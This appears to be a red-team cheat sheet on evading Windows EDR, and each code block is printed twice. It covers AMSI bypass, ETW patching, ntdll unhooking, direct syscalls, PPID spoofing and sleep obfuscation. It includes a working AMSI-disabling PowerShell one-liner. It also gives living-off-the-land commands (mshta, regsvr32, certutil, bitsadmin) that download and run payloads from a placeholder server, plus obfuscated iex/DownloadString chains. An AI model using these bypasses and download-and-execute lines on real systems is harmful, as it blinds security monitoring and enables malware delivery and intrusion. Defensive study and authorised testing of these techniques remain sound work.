Defense Evasion Techniques
Modern EDR solutions hook into system calls and monitor process behavior. Successful red team operations require understanding and evading these detection mechanisms.
Danger
Detection Mechanisms
| Mechanism | Description | Bypass Difficulty |
|---|---|---|
| AMSI | Scans script content before execution | Low |
| ETW | Event Tracing for Windows logging | Medium |
| User Hooks | Inline hooks on ntdll.dll functions | Medium |
| Kernel Callbacks | Process/thread creation notifications | High |
AMSI Bypass
Understanding AMSI
# AMSI (Antimalware Scan Interface) flow:
# 1. PowerShell loads script
# 2. Calls AmsiScanBuffer() before execution
# 3. AV engine scans content
# 4. Returns AMSI_RESULT
# AMSI providers:
# - Windows Defender
# - Third-party AV
# - Custom providers
# Bypass approaches:
# 1. Patch amsiInitFailed flag
# 2. Patch AmsiScanBuffer function
# 3. Unhook AMSI DLL
# 4. Load PowerShell without AMSI# AMSI (Antimalware Scan Interface) flow:
# 1. PowerShell loads script
# 2. Calls AmsiScanBuffer() before execution
# 3. AV engine scans content
# 4. Returns AMSI_RESULT
# AMSI providers:
# - Windows Defender
# - Third-party AV
# - Custom providers
# Bypass approaches:
# 1. Patch amsiInitFailed flag
# 2. Patch AmsiScanBuffer function
# 3. Unhook AMSI DLL
# 4. Load PowerShell without AMSIAMSI Bypass Techniques
# Method 1: Patch amsiInitFailed (classic, often detected)
$a = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$a.GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# Method 2: Patch AmsiScanBuffer in memory
# Sets first bytes to return clean result
# Use obfuscated versions to avoid signature detection
# Method 3: Force error in AMSI initialization
# Corrupt required components before PowerShell loads
# Method 4: AmsiTrigger - Find exact signatures
# Test payloads byte by byte to find what triggers
AmsiTrigger_x64.exe -i payload.ps1# Method 1: Patch amsiInitFailed (classic, often detected)
$a = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$a.GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# Method 2: Patch AmsiScanBuffer in memory
# Sets first bytes to return clean result
# Use obfuscated versions to avoid signature detection
# Method 3: Force error in AMSI initialization
# Corrupt required components before PowerShell loads
# Method 4: AmsiTrigger - Find exact signatures
# Test payloads byte by byte to find what triggers
AmsiTrigger_x64.exe -i payload.ps1ETW Patching
# ETW (Event Tracing for Windows) logs:
# - .NET assembly loads
# - PowerShell execution
# - Process creation
# - Network connections
# Patch EtwEventWrite to prevent logging
# Warning: May be detected by EDR
# C# approach:
# 1. Get address of EtwEventWrite in ntdll
# 2. Change memory protection
# 3. Write RET instruction (0xC3)
# 4. Restore protection
# PowerShell detection:
# Microsoft-Windows-PowerShell/Operational
# Event ID 4104 - Script block logging# ETW (Event Tracing for Windows) logs:
# - .NET assembly loads
# - PowerShell execution
# - Process creation
# - Network connections
# Patch EtwEventWrite to prevent logging
# Warning: May be detected by EDR
# C# approach:
# 1. Get address of EtwEventWrite in ntdll
# 2. Change memory protection
# 3. Write RET instruction (0xC3)
# 4. Restore protection
# PowerShell detection:
# Microsoft-Windows-PowerShell/Operational
# Event ID 4104 - Script block loggingEDR Hooks & Unhooking
Understanding Hooks
# EDR typically hooks these ntdll functions:
NtAllocateVirtualMemory # Memory allocation
NtProtectVirtualMemory # Memory protection changes
NtWriteVirtualMemory # Process injection
NtCreateThreadEx # Thread creation
NtMapViewOfSection # DLL loading
NtQueueApcThread # APC injection
# Hook detection:
# 1. Read first bytes of function
# 2. Check for JMP instruction (E9)
# 3. If present, function is hooked
# Example hooked function:
# Original: mov r10, rcx; mov eax, SSN; syscall
# Hooked: jmp EDR_HANDLER# EDR typically hooks these ntdll functions:
NtAllocateVirtualMemory # Memory allocation
NtProtectVirtualMemory # Memory protection changes
NtWriteVirtualMemory # Process injection
NtCreateThreadEx # Thread creation
NtMapViewOfSection # DLL loading
NtQueueApcThread # APC injection
# Hook detection:
# 1. Read first bytes of function
# 2. Check for JMP instruction (E9)
# 3. If present, function is hooked
# Example hooked function:
# Original: mov r10, rcx; mov eax, SSN; syscall
# Hooked: jmp EDR_HANDLERUnhooking Techniques
# Method 1: Full DLL Unhooking
# 1. Map fresh copy of ntdll from disk
# 2. Copy .text section over hooked version
# 3. Restore original syscall stubs
# Method 2: Syscall Unhooking (targeted)
# 1. Read syscall number from fresh ntdll
# 2. Make direct syscall, bypassing hooks
# Method 3: Direct Syscalls
# Don't use ntdll at all - call kernel directly
# Requires knowing syscall numbers (vary by Windows version)
# Tools:
# - SysWhispers2/3 - Generate syscall stubs
# - HellsGate - Dynamic syscall resolution
# - TartarusGate - Improved HellsGate# Method 1: Full DLL Unhooking
# 1. Map fresh copy of ntdll from disk
# 2. Copy .text section over hooked version
# 3. Restore original syscall stubs
# Method 2: Syscall Unhooking (targeted)
# 1. Read syscall number from fresh ntdll
# 2. Make direct syscall, bypassing hooks
# Method 3: Direct Syscalls
# Don't use ntdll at all - call kernel directly
# Requires knowing syscall numbers (vary by Windows version)
# Tools:
# - SysWhispers2/3 - Generate syscall stubs
# - HellsGate - Dynamic syscall resolution
# - TartarusGate - Improved HellsGateDirect Syscall Example
// Direct syscall concept (x64)
// Bypass userland hooks entirely
// 1. Get syscall number
DWORD GetSyscallNumber(LPCSTR functionName) {
// Read from clean ntdll copy
// Or use hardcoded values (version-specific)
}
// 2. Make syscall directly
__asm {
mov r10, rcx // First arg to r10
mov eax, SSN // Syscall number
syscall // Call kernel
ret
}
// Tools like SysWhispers generate this automatically// Direct syscall concept (x64)
// Bypass userland hooks entirely
// 1. Get syscall number
DWORD GetSyscallNumber(LPCSTR functionName) {
// Read from clean ntdll copy
// Or use hardcoded values (version-specific)
}
// 2. Make syscall directly
__asm {
mov r10, rcx // First arg to r10
mov eax, SSN // Syscall number
syscall // Call kernel
ret
}
// Tools like SysWhispers generate this automaticallyProcess Injection Evasion
Injection Techniques
| Technique | Detection Risk | Notes |
|---|---|---|
| Process Hollowing | High | Well-known, heavily monitored |
| Thread Hijacking | Medium | Suspend thread, modify context |
| APC Injection | Medium | Queue to alertable thread |
| Module Stomping | Low | Overwrite loaded DLL |
| Callback Injection | Low | Use legitimate callbacks |
PPID Spoofing
# Spoof parent process to blend in
# Explorer spawning cmd.exe is suspicious
# svchost spawning cmd.exe looks normal
# Steps:
# 1. Open handle to desired parent (explorer.exe)
# 2. Initialize STARTUPINFOEX with parent attribute
# 3. Create process with extended startup info
# Common spoofing targets:
# - svchost.exe
# - explorer.exe
# - RuntimeBroker.exe
# - taskhostw.exe# Spoof parent process to blend in
# Explorer spawning cmd.exe is suspicious
# svchost spawning cmd.exe looks normal
# Steps:
# 1. Open handle to desired parent (explorer.exe)
# 2. Initialize STARTUPINFOEX with parent attribute
# 3. Create process with extended startup info
# Common spoofing targets:
# - svchost.exe
# - explorer.exe
# - RuntimeBroker.exe
# - taskhostw.exeSleep Obfuscation
# Problem: EDR scans memory during sleep
# Solution: Encrypt beacon in memory while sleeping
# Sleep obfuscation techniques:
# 1. Ekko - Timer-based sleep with encryption
# 2. Foliage - Fiber-based sleep
# 3. Zilean - Stack spoofing + encryption
# General approach:
# 1. Encrypt beacon memory
# 2. Queue timer/callback to decrypt
# 3. Sleep using legitimate API
# 4. Timer fires, decrypts beacon
# 5. Beacon executes, re-encrypts, sleeps
# Implemented in:
# - Havoc (demon)
# - Sliver (in progress)
# - Cobalt Strike (with BOFs)# Problem: EDR scans memory during sleep
# Solution: Encrypt beacon in memory while sleeping
# Sleep obfuscation techniques:
# 1. Ekko - Timer-based sleep with encryption
# 2. Foliage - Fiber-based sleep
# 3. Zilean - Stack spoofing + encryption
# General approach:
# 1. Encrypt beacon memory
# 2. Queue timer/callback to decrypt
# 3. Sleep using legitimate API
# 4. Timer fires, decrypts beacon
# 5. Beacon executes, re-encrypts, sleeps
# Implemented in:
# - Havoc (demon)
# - Sliver (in progress)
# - Cobalt Strike (with BOFs)Living Off the Land
Tip
# Execution
mshta.exe http://server/payload.hta
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";eval(...)
regsvr32.exe /s /n /u /i:http://server/file.sct scrobj.dll
# Download
certutil.exe -urlcache -split -f http://server/payload.exe
bitsadmin /transfer job /download /priority high http://server/payload.exe C:\Windows\temp\p.exe
curl.exe http://server/payload.exe -o payload.exe
# Code execution
msbuild.exe payload.csproj
installutil.exe /logfile= /LogToConsole=false /U payload.dll
# Discovery
nltest.exe /dclist:domain.local
dsquery.exe * -filter "(objectclass=computer)"
# LOLBAS reference: lolbas-project.github.io# Execution
mshta.exe http://server/payload.hta
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";eval(...)
regsvr32.exe /s /n /u /i:http://server/file.sct scrobj.dll
# Download
certutil.exe -urlcache -split -f http://server/payload.exe
bitsadmin /transfer job /download /priority high http://server/payload.exe C:\Windows\temp\p.exe
curl.exe http://server/payload.exe -o payload.exe
# Code execution
msbuild.exe payload.csproj
installutil.exe /logfile= /LogToConsole=false /U payload.dll
# Discovery
nltest.exe /dclist:domain.local
dsquery.exe * -filter "(objectclass=computer)"
# LOLBAS reference: lolbas-project.github.ioObfuscation
# PowerShell obfuscation
# Tool: Invoke-Obfuscation
# String obfuscation
$a = [char]105 + [char]101 + [char]120 # "iex"
& ($a) $payload
# Command splitting
$c = "Down" + "loadStr" + "ing"
(New-Object Net.WebClient).$c('http://...')
# Encoding
[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes('payload'))
powershell -enc BASE64STRING
# .NET obfuscation tools:
# - ConfuserEx
# - Obfuscar
# - SmartAssembly# PowerShell obfuscation
# Tool: Invoke-Obfuscation
# String obfuscation
$a = [char]105 + [char]101 + [char]120 # "iex"
& ($a) $payload
# Command splitting
$c = "Down" + "loadStr" + "ing"
(New-Object Net.WebClient).$c('http://...')
# Encoding
[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes('payload'))
powershell -enc BASE64STRING
# .NET obfuscation tools:
# - ConfuserEx
# - Obfuscar
# - SmartAssembly